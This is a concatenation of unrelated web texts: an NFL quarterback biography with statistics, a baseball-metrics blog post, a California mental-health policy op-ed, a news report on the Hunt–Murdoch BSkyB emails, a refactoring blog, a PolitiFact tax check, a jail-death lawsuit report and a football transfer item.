Year Team Passing Rushing Cmp Att Pct Yds Y/A TD Int Rtg Att Yds Avg TD 2000 Louisiana Tech 244 369 66.1% 2,544 6.9 21 15 134.7 55 -29 -0.5 3 2001 Louisiana Tech 277 469 59.1% 3,337 7.1 28 14 132.6 87 144 1.7 4 2002 Louisiana Tech 296 505 58.6% 3,539 7.0 19 19 122.4 61 30 0.5 2 2003 Louisiana Tech 246 432 56.9% 3,246 7.5 19 14 128.1 71 -80 -1.1 1 Career 1,063 1,775 59.9% 12,666 7.1 87 62 129.0 274 65 0.2 10
Source:[3]
Professional career [ edit ]
Cleveland Browns [ edit ]
McCown was drafted by the Cleveland Browns in the fourth round of the 2004 NFL Draft. He went on to start in four games for Cleveland in his rookie season. After the season, he was traded to the Tampa Bay Buccaneers on the weekend of the 2005 NFL Draft.
Tampa Bay Buccaneers [ edit ]
During week 13 of the 2007 NFL season, McCown produced his finest performance as an NFL quarterback, throwing for 313 yards and 2 touchdowns during an emergency start for the injured Jeff Garcia in Tampa Bay's 27–23 victory over the New Orleans Saints.
McCown started the next game against the Houston Texans and was 25-38 for 266 yards and no interceptions, but a loss. He came in relief in the second half of week 16 and threw for 185 yards and one interception. McCown started the last game as the Bucs had already clinched a playoff spot. He threw for 236 yards and one interception with 2 touchdowns. McCown played in 5 games, starting 3, during the 2007 season, and threw altogether for 1,009 yards, 3 interceptions, 5 touchdowns, with a 91.7 QB rating.
Jacksonville Jaguars [ edit ]
McCown in 2009.
McCown was traded to the Jacksonville Jaguars for an undisclosed 2010 draft pick on September 5, 2009. He played as a backup to starting quarterback David Garrard the 2009 and 2010 seasons.
On September 6, 2011, five days before the 2011 regular season opener, Jacksonville announced they were cutting Garrard and that McCown would succeed him as starter for the season opener.[6] On September 18, 2011, McCown was benched after posting the lowest passer rating (1.8) for a starting quarterback in Jaguars history.[7]
New Orleans Saints [ edit ]
On June 7, 2012, McCown signed with the New Orleans Saints. He was released by the team on August 28, 2012.
Atlanta Falcons [ edit ]
The Atlanta Falcons signed McCown to replace the released Chris Redman on August 28, 2012. As Matt Ryan's primary backup, McCown appeared in two games, on September 27 when Atlanta won 27–3 over the San Diego Chargers and December 16 when Atlanta won 34–0 over the New York Giants.[8][9]
Return to the Saints [ edit ]
On April 1, 2013, McCown signed a one-year, $1.05 million deal with the Saints.[10] After solid performances in preseason games, McCown was selected to serve as the primary backup to Saints starting quarterback Drew Brees. During the regular season he attempted a pass but it fell incomplete.[11] In the regular season, McCown was the holder for placekicker Garrett Hartley.[12][13]
On September 25, 2015, Sean Payton announced that starting quarterback Drew Brees would miss the first game of his Saints career due to a bruised rotator cuff and that McCown would get the start on September 27 against the Carolina Panthers over rookie Garrett Grayson, marking McCown's first start since 2011 with the Jaguars.[14] Luke's older brother Josh started for the Browns the same day, marking the first time the brothers both started since 2007. On November 5, McCown underwent successful lower-back surgery, effectively ending his season after he was placed on injured reserve. McCown completed 32 of 39 passes for 335 yards and an 82.1 completion percentage in 2015.[15]
On March 10, 2016, the New Orleans Saints signed McCown to a two-year, $3.00 million contract with a signing bonus of $500,000.[16] On April 5, 2017, he was released after the team signed quarterback Chase Daniel.[17]
Dallas Cowboys [ edit ]
On July 28, 2017, McCown signed with the Dallas Cowboys on a one-year contract with $250,000 in guarantees.[18] He was released on September 2, 2017.[19]
Retirement [ edit ]
On April 20, 2018, McCown announced his retirement.[20]
Statistics [ edit ]
Year Team GP GS Passing Rushing Cmp Att Pct Yds Y/A TD Int Rtg Att Yds Avg TD 2004 CLE 5 4 48 98 49.0 608 6.2 4 7 52.6 6 25 4.2 0 2007 TB 5 3 94 139 67.6 1,009 7.3 5 3 91.7 12 117 9.8 0 2008 TB 2 0 0 1 0.0 0 0.0 0 0 39.6 3 15 5.0 0 2009 JAX 3 0 1 3 33.3 2 0.7 0 0 42.4 0 0 0.0 0 2010 JAX 1 0 11 19 57.9 120 6.3 0 0 76.6 1 4 4.0 0 2011 JAX 4 2 30 56 53.6 296 5.3 0 4 39.0 7 23 3.3 0 2012 ATL 2 0 0 0 0.0 0 0.0 0 0 0.0 2 -3 -1.5 0 2013 NO 16 0 0 1 0.0 0 0.0 0 0 39.6 3 -4 -1.3 0 2014 NO 16 0 0 0 0.0 0 0.0 0 0 0.0 0 0 0.0 0 2015 NO 8 1 32 39 82.1 335 8.6 0 1 91.8 0 0 0.0 0 Career 62 10 216 356 60.7 2,370 6.7 9 15 71.3 34 177 5.2 0
Source:[21]
Personal life [ edit ]
McCown's brother Josh is also a quarterback in the NFL, currently playing for the New York Jets. His older brother Randy played quarterback at Texas A&M University. Luke and his wife, Katy, have four sons and two daughters. McCown is a Christian.[22][23]
In September 2015, he starred in a series of TV commercials for Verizon Wireless, talking about Verizon's reliability and backup generators, joking that "I bet if they just had the chance, some of those backups would really shine."[24] McCown started a game shortly after the commercial initially aired due to an injury to starting quarterback Drew Brees, throwing for 310 yards.
See also [ edit ]Note: This isn’t a Tigers post. If you’re here for the Tigers, feel free to ignore. Also, I’m publishing this here rather than at FanGraphs because 1) I don’t want the general public to get the idea that FanGraphs as an institution is throwing shade at DRA and 2) I don’t want the perception that anything I’m saying is done in the service of driving traffic or subscriptions to or from either site.
Evaluating pitchers is very hard, but that hasn’t stopped people from trying. Wins and losses. ERA. WHIP. FIP. These are all statistics that at one point or another had been at the forefront of the quest for The Best Single Metric. A wise person might suggest that searching for one metric to rule them all might be a silly quest, but even if we all decided to properly use every tool in the toolbox, there would still have to be a best metric among the useful ones.
Two years ago, the Baseball Prospectus stats team took a swing at building the next generation of pitching metrics, led by their top-line creation, Deserved Run Average (DRA). Many in our little corner of the world treated this as near second coming because it was first high-level attempt to get beyond the FIP-generation of metrics and some of the smartest people in the public analysis sphere had thrown their intellectual heft behind the effort.
DRA promised to incorporate a lot of information that hadn’t found its way into FIP while also taking a more complex approach to modeling the pitcher-value process. I agree that those are worthwhile goals.
I think FIP is a very useful metric, not just because it does a pretty good job of representing pitcher value but because it is extremely straightforward. I am not saying that simplicity makes FIP a good metric, but rather that its clarity does. FIP has flaws, but its flaws are in perfect view. I know exactly what FIP is doing and exactly what FIP is not doing. And this is precisely where DRA has so far failed to win me as a full convert so far.
I want to be clear that I am not saying DRA is less rigorous than FIP or that it has been designed poorly or in bad faith. My issue with DRA is not that I think there is something wrong with it, it’s that I don’t really know what to make of it. My argument is not that FIP is a better representation of pitcher value than DRA, it’s that I am less certain about the quality of DRA than I am the quality of FIP.
Imagine FIP and DRA are diamonds. I can hold FIP in my hand and examine it under a magnifying glass. DRA is on a table twenty feet away. I can see the exact quality of the FIP diamond, but I can only tell that DRA is a diamond. Smart people who cut the DRA diamond are telling me they think the DRA diamond is better, but I have not been able to see them side by side.
In my own analysis and in my own writing, I have utilized DRA but I still lean heavily on the FIP-family of metrics for this reason. If I’m writing about a player and want to communicate something, I prefer FIP to DRA because I can talk clearly about what FIP says. If I want to use DRA I can only say that based on the complex method it deploys, the pitcher is this good/bad/other.
Now many strong advocates of DRA will tell you that its complexity is good. Pitching, after all, is very complicated so it follows that any statistic that measures pitching holistically should also be complicated. That’s a very convincing point, but as I noted earlier my problem is not complexity, it’s clarity. I love complicated things. I’ve taken graduate-level courses in statistics and modeling. I am in no way turned off by DRA in concept. At no point in this piece am I saying DRA should be less complex.
However, there are two clear issues with DRA that prevent me from using it as my primary point of reference. The first is that the BP team has not outlined a justification for its modeling strategy. If you read through their explanations (see here, here, here, and here) what you find is a list of flaws that exist with other pitching metrics. “FIP doesn’t have X, X matters, so we put X in our model. We know pitchers control their BABIP to some degree, so we put that in the model.”
This creates a couple of issues. The first issue is that I can’t see what components are doing the lifting (for example, this page needs to be way more granular). Does a player have a good DRA because their opponents are very tough or because their defense is terrible? DRA jams a lot of information into a single output and that makes it quite difficult to use in any sort of interesting way. FIP only has five inputs (strikeouts, walks, hit b |
“very good.”
Too often, those seeking care reported they were treated disrespectfully, encountered staff who didn’t communicate or listen effectively, or were made to feel ashamed of their condition.
Severe mental health conditions can be expensive when ineffectively treated and people living with untreated conditions often don’t have private insurance. Since treating mental health emergencies isn’t as profitable as other medical emergencies, California hospitals have cut 40 percent of their acute psychiatric care capacity over the last 20 years. It’s this hobbling of hospital psychiatric care — coupled with a statewide underfunding of community mental health services — that leads to bottlenecks in our emergency rooms, not California’s long-standing law that protects people who need crisis intervention from being turned away from ERs.
Current law requires someone who, due to a serious mental illness, is at risk of harming themselves or another person to be evaluated by a designated, trained mental health or medical professional before being discharged.
AB 1300, sponsored by the California Hospital Association and authored by Assemblyman Sebastian Ridley-Thomas, D-Los Angeles, removes these lifesaving protections. Under this bill, there is no guarantee that someone brought to the ER by paramedics or law enforcement on a “5150” hold will ever be seen by a psychiatrist, receive medication or treatment, or have family members notified. A person can be released from the ER by an untrained staff member, if the overstretched hospital staff lacks the expertise to intervene.
Hasty releases from the ER can lead to untreated symptoms and run-ins with law enforcement, setting in motion the hospital-to-prison revolving door and the criminalization of mental illness. Law enforcement agencies across California know this — and are partnering with mental health experts on training and procedures designed to de-escalate crisis situations and connect people with help they need. This progress will be lost if an officer brings someone in crisis to an emergency room, only to have them returned to the street to fend for themselves.
AB 1300 reverses course on the progress California is making and puts people with serious mental health conditions at greater risk — that’s why its opposed by the California Behavioral Health Directors Association, the National Alliance on Mental Illness-California, and the Union of Doctors and Dentists.
If California hospitals were serious about helping people living with mental illness access timely care, they would invest in acute psychiatric care and preventive services, and work collaboratively with mental health clients, families and experts to develop thoughtful policies that reduce the impact on our emergency rooms.
Instead, they are pushing AB 1300 to abdicate their responsibility to treat people in mental health crisis. Mental health clients, family members, doctors and county mental health agencies urge the Legislature to reject this disingenuous and dangerous bill.
Barlow is executive director of the County Behavioral Health Directors Association of California.The Culture Secretary, Jeremy Hunt, was battling to save his political career last night after it was revealed that his office was secretly passing information to the Murdochs during their £7.5 billion bid to take over BSkyB.
Mr Hunt faced demands for his resignation after hundreds of pages of explosive emails, released by News Corp to the Leveson Inquiry, showed that his political advisers engaged in intimate and frequent briefing of the Murdochs’ chief lobbyist to help get the deal through – despite Mr Hunt’s claim to have acted impartially in his exercise of quasi-judicial powers.
One email quoted Mr Hunt saying “we’d get there in the end” and that he “shared” News Corp’s objective of taking over the broadcaster.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Another email, sent by News Corp’s lobbyist the day before Mr Hunt made a statement to Parliament on the bid, drew gasps when it was read out at the Leveson Inquiry: “Managed to get some infos on the plans for tomorrow (although absolutely illegal...!)”
In a day of dramatic revelations at the judicial inquiry, where James Murdoch gave evidence under oath, it also emerged that:
* Mr Murdoch did discuss News Corp’s bid for BSkyB with the Prime Minister David Cameron over Christmas dinner at the Oxfordshire home of Rebekah Brooks – contradicting Downing Street’s previous denials.
* Emails sent by James Murdoch’s lobbyist Fréd Michel show that Mr Hunt’s office would regularly update News Corp on the progress of its bid and how to get it past the regulators – sometimes speaking several times a day, and once even delaying the Culture Secretary’s trip to the ballet.
* The Scottish First Minister, Alex Salmond, showed enthusiasm in supporting the bid. The emails suggest he linked his backing with a request to Murdoch to “smooth the way” for The Sun newspaper to support the Scottish Nationalists.
* News Corp personally threatened Mr Hunt that it would withdraw the bid if he did not hurry things along. “JH repeated he was definitely keen to see this through as quickly as possible.”
The emails directly contradicted assurances that Mr Hunt had given the House of Commons that he was acting as an independent adjudicator of the bid in a quasi-judicial role, Labour said.
The Labour leader Ed Miliband and his deputy Harriet Harman called on Mr Hunt to resign.
The Prime Minister will also now face awkward questioning at the Leveson Inquiry over his discussions with James Murdoch about the BSkyB bid during a Christmas dinner at the home of Rebekah Brooks in December 2010, after James Murdoch contradicted the claim of Mr Cameron’s official spokesman that “he [Cameron] has not been involved in any of the discussions regarding BSkyB, he has been absolutely clear on that”.
The emails also shed light on the extensive and unsuccessful efforts the company undertook to lobby the Business Secretary Dr Cable to approve the deal, before he was stripped of responsibility.
In one email, Mr Michel, News Corp’s director of public affairs in Europe, suggest using the Editor of The Times, owned by News International, to get to see Mr Cable after he had refused to meet with the company. “We should try a very soft approach with him; get him to meet with James Harding... It would be a much better setting than a direct lobbying conversation.”
The memos also reveal that Rupert Harrison, George Osborne's special adviser, was contacted for discussions about what Dr Cable's thinking might be. Harrison admitted there was a good deal of Coalition tension around the issue, and said he would stay in touch.
Mr Hunt told the Commons in June 2011 that: “I am deciding this deal on a quasi-judicial basis, but I have not met Rupert Murdoch or James Murdoch in recent weeks, and all the meetings I have had with them have been minuted and done through official channels.”
Mr Miliband said the disclosures made Mr Hunt’s position untenable: “Jeremy Hunt should have been standing up for the interests of the British people. In fact it now turns out he was standing up for the interests of the Murdochs. He should resign.”
Last night Downing Street said Mr Cameron supported Mr Hunt but pointedly did not express confidence in the process followed by the Department of Culture in deciding the bid. Mr Cameron is likely to face questions on the emails today at Prime Minister’s Questions.
The release of the emails and Mr Murdoch’s evidence also raises questions over the extent to which News Corp is now conducting a “scorched earth” policy over the continued controversy.
James Murdoch and his father Rupert are known to be furious at what they believe to be their “unfair” treatment at the hands of Government ministers and feel they have nothing to lose by shielding them. Rupert Murdoch gives evidence to Leveson today.
In a statement last night Mr Hunt said he had to bring forward his evidence to the Leveson Inquiry to clear his name. "Now is not a time for kneejerk reactions,” he said. “We've heard one side of the story today but some of the evidence reported meetings and conversations that simply didn't happen.
"Rather than jump on political bandwagons, we need to hear what Lord Justice Leveson thinks after he's heard all the evidence.
"Let me be clear my number one priority was to give the public confidence in the integrity of the process. I asked for advice from independent regulators - which I didn't have to do - and I followed that advice to the letter.
"I would like to resolve this issue as soon as possible which is why I have today written to Lord Justice Leveson asking if my appearance can be brought forward. I am very confident that when I present my evidence the public will see that I conducted this process with scrupulous fairness."
The killer emails: Key passages from the News Corp cache
15 June 2010: Take-over announced
The day the starting pistol is publicly fired on News Corp's bid to buy the remaining shares it does not own in BSkyB, the company's public affairs director, Frédéric Michel, emails a senior colleague to tell him that a conversation between James Murdoch (JRM) and Vince Cable, in which the business secretary had supposedly been positive about the proposal, should have been recorded.
"Vince Cable call went very well. He did say he thought "there would not be policy issue in this case". We should have recorded him!"
On the same day, Michel tells Murdoch that Adam Smith, the special adviser to culture secretary Jeremy Hunt, said the Government expects to support the deal.
"Had a call from Hunt's adviser. Said there shouldn't be media plurality issue and believed the UK Government would be supportive throughout the process."
12 October 2010: Editor of The Times
In an apparent reference to News Corps readiness to use its journalists to lobby Cable, Michel emails News International chief executive Rebekah Brooks to suggest James Harding, The Times editor.
"It was suggested that we should try a very soft approach with [Cable]; get him meet with James Harding to get his views on some of BIS key items, like migration cap and get me [FM] to pop... to give him an update on the current battle we face and inform his views. It would be a much better setting than a direct lobbying conversation. Do we think it's ok?"
1 November 2010: Lobbying by friends
Michel tells Murdoch that an unnamed Liberal Democrat MP has agreed to lobby Cable and that SNP leader Alex Salmond is keen to lobby on News Corp's behalf.
"Mission accomplished. Libdem MP, former Sky employee, with major Sky customer centres in his constituency will contact Vince Cable to ask him to bear in mind the economic/investment point of view rather than getting influenced by political games... Alex Salmond is keen to also put the issues across to Cable and have a call with you."
15 November 2010: Call on the mobile
As storm clouds gather over the deal because of growing opposition from other media groups and politicians, Michel tells Murdoch that Hunt is keen to keep channels open.
"Jeremy tried to call you. He has received... legal advice not to meet us today as the current process is treated as a judicial one (not a policy one) and any meeting could be referred to and jeopardise the entire process. Jeremy is very frustrated about it... My advice would be not to meet him today as it would be counter-productive for everyone, but you could have a chat with him on his mobile which is... fine, and I will liaise with his team privately."
Shortly afterwards, Murdoch replies:
"You must be f****** joking. I will text him and find a time."
23 November 2010: Hunt: "Send me the documents privately"
Following the decision by Cable to refer the deal to the media regulator Ofcom, Michel reaffirms the back channel he has opened with Hunt.
"I will have a session with Hunt's adviser next Wednesday to update on Ofcom process and next steps. Jeremy has also asked me to send him relevant documents privately."
14 December 2010: Support voiced
The announcement by Ofcom of the "issues" it will seek answers to from News Corp before reaching a decision on the BSkyB proposal is matched by reassurances from inside the Cabinet.
"Very good debrief with Hunt on the issues letter. He is... amazed by its findings, methodology and clear bias. he... shares our views on it."
In a further expression of support via unofficial channels, Brooks emails Michel to make clear the views of Chancellor George Osborne.
"Same from GO – total bafflement at response."
24 December 2010: Stay in touch
Following the revelation by the Daily Telegraph that Cable has "declared war" on Rupert Murdoch, the business secretary is removed from deciding the BSkyB bid and responsibility passes to Hunt. Contact between Hunt and his office and Murdoch and News Corp might be expected to end. It does not.
From Michel to Murdoch: "Just spoke to JH. Said he was very happy for me to be the point of contact with him/Adam [Smith] on behalf of JRM going forward. Very important to avoid giving the 'anti' any opportunity to attack the fairness of the process and fine to liaise at that political level."
23 January 2011: "Game over"
An increasingly confident News Corp senses victory after Hunt signals to Michel his support for "UILs" or undertakings in lieu to seal the BSkyB deal.
"[Hunt's] view is that once he announces publicly he has a strong UIL, it's almost game over for the opposition... He very specifically said he was keen to get to the same outcome and wanted JRM to understand he needs to build some political cover on the process."
24 January 2011: "Absolutely illegal"
Michel boasts to Murdoch he has received prior notification of an announcement by Hunt about the handling of BSkyB deal.
"Managed to get some infos on the plans for tomorrow [although absolutely illegal...>!]
9 February 2011: Swan Lake
In an apparent sign that News Corp is able to reach Hunt and his office any time, Michel tells Murdoch he's reached them at the ballet.
"I managed to get JH before... Swan Lake... and have further chat... I told him he had to stand for something ultimately and this was his chance, to dismiss Ofcom's views and show he had some backbone."
2 March 2011 Salmond support
The SNP leader, who is said to be keen to secure the support of The Sun, is reported by Michel to be happy to participate in the BSkyB debate.
"Alex Salmond called. He had a very good dinner with the editor of The Sun in Scotland yesterday. The Sun is now keen to back the SNP at the election. The editor will make his pitch... tomorrow. Alex wanted to see whether we could help smooth the way for the process... On the Sky bid, he will... support the debate"
7 June 2011: Take That
With the deal still mostly on track, News Corp seem in the mood for relaxation. Michel makes it clear he has invited Hunt and his special adviser Adam Smith to a Take That concert.
"I tend to think that [DCMS minister Ed Vaizey] could see us on very specific policy items. We're still involved in the media agenda even during the Sky deal. It's a very punitive decision... By the way, does that mean you and Jeremy will not be coming to Take That on 4th July."
30 June 2011: "Idiotic debates"
Frédéric updates Murdoch on the atmosphere in Hunt's office.
"Had a debrief with JH and his team... He is very happy with the way today went and especially with the absolutely idiotic debates led by [Labour MP] Tom Watson and [John] Prescott."
7 July 2011: Dowler story and 'Leveson'
Following the revelation by The Guardian that the News of the World hacked the phone of Milly Dowler, leading its closure, Michel insists Hunt and his team see no reason to change their stance on BSkyB.
"Spoke to JH. V important to keep same briefing lines as discussed and insist on the plurality issue."
Later the same day, Murdoch is given a flavour of the thinking inside Downing Street about a possible public inquiry into press standards. In a strange development, the closure of the NOTW is floated as a reason to push through the BSkyB deal because the Murdoch's media dominance has been weakened.
"[BSkyB deal] was not discussed at the meeting Hunt had with the PM – was discussing the two enquiries ['police' one led by a judge; and'media practices' one led by DCMS']... NoW closure does not affect JH decision, if anything help the media plurality issue by weakening our voice."
Jeremy Hunt aide Adam Smith quits over New Corp link
Rupert Murdoch denies role in Andy Coulson job
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Subscribe nowThe pinnacle of refactoring is the removing of code by introducing a new feature. It may seem like a ridiculous notion, but I’m often surprised myself at how often it is a viable option.
The False Abstraction
Over the past weekend I was refactoring Leaf to get rid of a false abstraction. Two classes in the code, scope and managed_variable_context, derived from an interface called variable_context. At the time it seemed like a good idea to make this interface, since most users of scope needed only a tiny fraction of its ability.
It was the wrong thing to do. As I added features increasingly more functions of the scope class crept into the interface. The other implementation, managed_variable_context was also becoming less and less correct, dealing with only a few special cases.
Removing the abstraction would remove several hundred lines of code. Interestingly, it would require implementing a few minor features at the same time. Or rather, its removal would be what implements those features. In my case it solves a namespace export issue in Leaf.
In the general case removing an abstraction will introduce new features, perhaps not at the user level, but certainly at the code level. It generally involves the merging of a minor implementation’s behaviours into the dominant implementation. Often new tests are not needed; these new features aren’t genuinely new so their code is primarily covered by an existing unit test.
Some might cry foul here. That abstraction provides flexibility and removing it will make our code harder to change later. Here I invoke the YAGNI principle: if you don’t need it now it has no business being in the code. We can’t be retaining abstractions just because they might be useful sometime. Not being useful now is the dominating concern.
Nearly identical code
Most complex systems duplicate behaviours. This is a natural and normal scenario. When the requirements are first written, it would be foolish to define the most abstract system. You correctly start with the concrete use-cases and go from there. In time common behaviours and types start to emerge.
Clearly if two functions do the same thing one should be eliminated. But what if they just almost do the same thing? This is where adding a feature can sometimes help. Look for the little bits of code that are missing from each function. What would it take to make them the same function?
I often find the addition or change of something quite small is all it takes. Perhaps I remove an artificial limitation or superficial validation check on one object. Maybe I change the length of a field, or extend the set of operations available. In Leaf I simply exposed a new keyword, multi, that exposed a previously internal only ability. In any case, I add a test case for the new feature and then drop one of the functions.
Nothing says the newly exposed feature must actually be visible to the user. Don’t fall into the trap of thinking all the internal features must actually be usable in the user interface.
Fishy tight integration
When I implemented shared closure support in Leaf, I used a cheap approach to get it done quickly. This involved creating a suspicious contract between the typing code and the IR generator. It introduced a requirement that one module relies on a specific behaviour of another. That behaviour was absolutely not part of the proper interface between the modules.
These tight integrations create scar tissue in the code. As time goes on both modules attempt to retain and workaround the odd structure. Instead of being able to refactor at will they are beholden to an artificial constraint. It’s the type of code that starts to spawn several if statements and asserts.
Often the only way to remove such problems is by introducing a new feature at the interface level. Module A needs some way to communicate to Module B what it is actually trying to achieve. An interface change could be on an actual language interface, a high-level protocol change between two services, a schema change, or even a file format change. Once the change is made both sides can cleanup all their silly patchwork and proceed with unhindered refactoring.
Tight integration belongs to a class of essential-to-fix issues. The longer they linger the worse they get. They often stick around since some people are unwilling to modify an interface. Sometimes the term “feature freeze” is used to block the change, since technically it is a new feature, even though the result will be less code, and cleaner code.
The goal is less code
My primary goal in refactoring isn’t just cleaner code, but less code. Clean code is obviously nice to read, but simply not having code is even easier.
It may seem counterintuitive that the path to less code is often through new functionality. The removal of a class, merging of functions, or cleaning up sometimes hinges on minor feature additions. Mostly these are small internal features, but sometimes they ripple to higher levels. This is a win-win situation, less code, more functionality.
I should note that sometimes I do manage to remove several hundred lines of code, but more often I only remove a handful of lines. Even if I remove no lines total, I still consider it successful. Having a new feature, and cleaner code, without increasing code size is always a good thing.
The next time you need to refactor, first look to what added functionality would make it easier. And the next time you need to add a feature, look to what code can be removed to make it possible.
AdvertisementsAs President Barack Obama and House Speaker John Boehner dickered over how to avoid the so-called fiscal cliff, the issue of who might pay more in taxes was a persistent stumbling block.
The White House said there could be no deficit deal unless Republicans agree to raise tax rates on the wealthiest households and proposed increasing rates on incomes greater than $250,000 a year for married couples ($200,000 for individuals).
Republicans wanted to focus the talks on spending and entitlements.
Ultimately a deal brokered by Vice President Joe Biden and Senate Minority Leader Mitch McConnell, a Kentucky Republican, was approved. It allowed rates to rise on incomes above $450,000 for married couples.
But during the negotiating, Boehner balked at increasing the maximum 35 percent tax rate on high-income taxpayers at all because of the effects for small business.
"The problem with raising tax rates on the wealthiest Americans is that more than half of them are small business owners," Boehner said in a news conference. "Raising tax rates will slow down our ability to create the jobs that everyone says they want."
PolitiFact has examined a similar claim Boehner made about small business owners before, and rated it False. FactCheck.org also has looked at the issue, calling it "an incorrect talking point" and a "bogus claim." But we wondered about current figures behind the claim, and several readers asked about its accuracy.
We asked Boehner's office how he backed up the statement. His staff said the tax increases would hit half of all small business income, and they pointed us to a January 2012 report from the President’s Council on Jobs and Competitiveness.
The council's report states: "About half of business income now accrues to pass-through entities such as S corporations and partnerships; although the income of such pass-through entities is subject to tax at the individual level, it is excluded from the corporate tax."
In other words, Boehner's staff said, many small businesses file their taxes as individuals, not corporations, and 53 percent of all business income is taxed through the individual code.
Boehner's staff also cited a report by the nonpartisan Joint Committee on Taxation in Congress which said the tax hikes would affect roughly 940,000 small business owners. It, too, found that 53 percent of business income would be reported on tax returns in the top brackets on which Obama would raise taxes.
That does show that some small business owners would see taxes go up. But it falls short of supporting Boehner's statement.
While the JCT report found that 53 percent of business income would be reported in the top two tax brackets, that is not at all the same as saying that half of the earners are being taxed at that rate.
In fact, the JCT estimated that just 3.5 percent of taxpayers with business income in 2013 would fall in the tax brackets that would rise under Obama's proposal.
And the JCT said its figures "do not imply that all of the income is from entities that might be considered'small.' For example, in 2005, 12,862 S corporations and 6,658 partnerships had receipts of more than $50 million."
S corporations and partnerships are "pass-through" businesses in which profits pass from the business to individual shareholders for tax purposes. They include sole proprietorships and such partnerships as big law firms and financial funds. Goldman Sachs was classified as a partnership before it went public in 1999.
So what is a small business?
The Office of Tax Analysis at the U.S. Treasury Department issued a study in 2011 that recognized the need for a clear definition. The authors acknowledge that defining a small business is a matter of setting some subjective parameters.
The ones they set include a limit of $10 million in income or deductions to be counted as "small," and a minimum labor deduction of $10,000 to distinguish businesses that don’t have any employees.
Other tests they applied excluded businesses on the very low end of the scale, such as those with $4,600 or less net annual income. They defined an "owner" as someone who gets at least one-fourth of income from a small business.
Not surprisingly, by narrowing the definition, far fewer tax filers qualified as small businesses.
The analysis found that:
Only one-fifth of small businesses are employers, using their definition.
Only 8 percent of small-business owners have income of $200,000 or more. So 92 percent of small-business owners wouldn’t have been affected by Obama’s proposal.
Slightly more than half of small businesses reported total income of less than $50,000, and half of those businesses reported a tax loss for the year.
Only 0.5 percent of small businesses reported a profit in excess of $1 million. For those businesses, investment and rental income comprised roughly half of their reported income.
Of the taxpayers in the top two brackets that would be increased, only 11 percent reported any small-business income, and only 9 percent qualify as small business owners.
Boehner's statement was: "The problem with raising tax rates on the wealthiest Americans is that more than half of them are small business owners."
That is wrong on two points -- the "half" and the "small business owners."
Of the business income reported on tax returns, half of it would have been taxed at the top two rates, the Joint Committee on Taxation found. But that doesn’t mean half of the earners are paying those rates.
And it’s incorrect to call small business owners and millionaires who would see a tax increase one and the same. For top earners who report business income, it is often just a fraction of their total income. They are not the folks operating small manufacturing plants or neighborhood pizza parlors. In fact, only 0.5 percent of small businesses make that kind of money.
More often, small businesses are small in every sense -- most have incomes of less than $50,000 and almost all have profits of less than $1 million -- and they wouldn’t be affected by the millionaires tax.
Boehner’s statement is not accurate. On the Truth-O-Meter, his claim rates False.MONTGOMERY, Ala. (CN) – A woman died on a courthouse floor because Alabama sheriff’s deputies refused to give her her medicine – after arresting her for an old traffic ticket, the woman’s daughter claims in court.
Ayunna Johnae London sued St. Clair County Sheriff Terry Surles, jail administrators Austin Nash and Terry Marcrum, Southern Healthcare Partners, and its employee Jennifer Eisel, in Federal Court.
London claims her mother, Dwana Voncia London-Richardson, died gasping for breath in court after callous and unconstitutional treatment from the defendants.
Richardson suffered from asthma and other serious health problems, but the defendants refused to give her her medication, accused her of faking, and let her die in the courtroom, her daughter claims.
Southern Healthcare Partners, which provided medical care to inmates at the St. Clair County Jail, failed to treat her mother properly, London says.
Her 45-year-old mother died in May 2011 at the St. Clair County Courthouse while in the sheriff’s custody.
Richardson was arrested on May 19, 2011, in Tarrant City, Ala., for failing to pay a 2008 traffic ticket. She was sent to the St. Clair County Jail.
London claims that when she visited her mom in jail two days later, her mother could hardly walk, had trouble breathing and complained of pain in both legs.
London claims the jail staff refused to give her mom her asthma medication and stopped other inmates from helping her.
“Ms. Richardson told Ayunna that she was sick, that both her legs were hurting her so badly that she could not walk to the tray area to pick up her food, and that they would not give her her medicine,” the complaint states.
“Ms. Richardson told Ayunna that several of the inmates were trying to help her out by going to get her tray for her, since she could hardly walk, but the jailers told them that they were ‘babying’ her, and moved Ms. Richardson to a different area in the jail, away from the inmates that were trying to help her.”
Jail staff refused to take Richardson to the hospital, despite her worsening condition, her daughter says.
On May 23, deputies took her mother to court and ignored her need for medical care until it was too late, London says.
“Ayunna headed to the St. Clair County Courthouse early that morning,” the complaint states. “She could not locate where court was being held. She saw deputy (or jailer) John Doe standing at the fire station, talking to a firefighter so she pulled into the station to ask where court was being held.
“When she pulled into the fire station, she saw her mother lying on the ground next to the police car with her legs extended under the police car.
“She asked them what had happened and her mother told her that she did not know, that she had just passed out. Ms. Richardson was sweating and struggling breathing.
“Ayunna had one of her mother’s asthma pumps in her car so she asked if her mother could sit in her car and get some air.
“Ayunna gave her mother the asthma pump but it was not working. Her mother’s breathing continued to get worse.”
London says the deputies still refused to take her mom to the hospital, and said would be locked up if she didn’t keep her court date.
“Ms. Richardson was unable to walk,” the complaint states. “Deputy (or jailer) Doe obtained an office chair from the courthouse and they used it to wheel Ms. Richardson to the courtroom.
“Ayunna set beside deputy (or jailer) Doe and her mother, fanning her mother, whose breathing continued to get worse.
“After sitting in the courtroom waiting for about twenty minutes, Ms. Richardson stated that she ‘could not take anymore,’ and she told deputy/jailer Doe that she needed help.
“Ayunna also pleaded with deputy/jailer Doe to get someone to help her mother.
“Deputy/jailer Doe responded as though he believed Ms. Richardson was just putting on.
“Ms. Richardson then stated ‘I need to lay down.’
“Ms. Richardson laid down on the courtroom floor and her body started to shaking.
“Deputy/jailer Doe took no action to assist Ms. Richardson or to clear the courtroom.
“Everyone in the courtroom watched as Ms. Richardson died in court, on the courtroom floor.
“Ayunna stayed beside her mother trying to do CPR to bring her back for about twenty minutes, but she failed.”
Emergency personnel arrived 45 minutes later and took Richardson, who was unresponsive, to the hospital.
London says her mother was pronounced dead within 5 minutes of arriving at the hospital.
She seeks punitive damages for constitutional violations, wrongful death and negligence.
She is represented by Charles Tatum Jr. of Jasper, Ala.
Like this: Like Loading...Zamparini: ‘Vazquez can leave for €30m’
By Football Italia staff
Palermo President Maurizio Zamparini says Franco Vazquez can leave to Milan in January ‘if they offer €30m plus VAT.’
The Rosanero playmaker has been linked with a switch to the Rossoneri and Zamparini confirmed that they had made an offer that was too low.
The President sacked Coach Giuseppe Iachini yesterday and the decision has worsened his relationship with Vazquez, who labelled it ‘an injustice’.
“Milan asked me for him but the €25m they offered isn’t enough,” Zamparini said to Radio Due.
“If they tell me €30m then very well, but not until June.
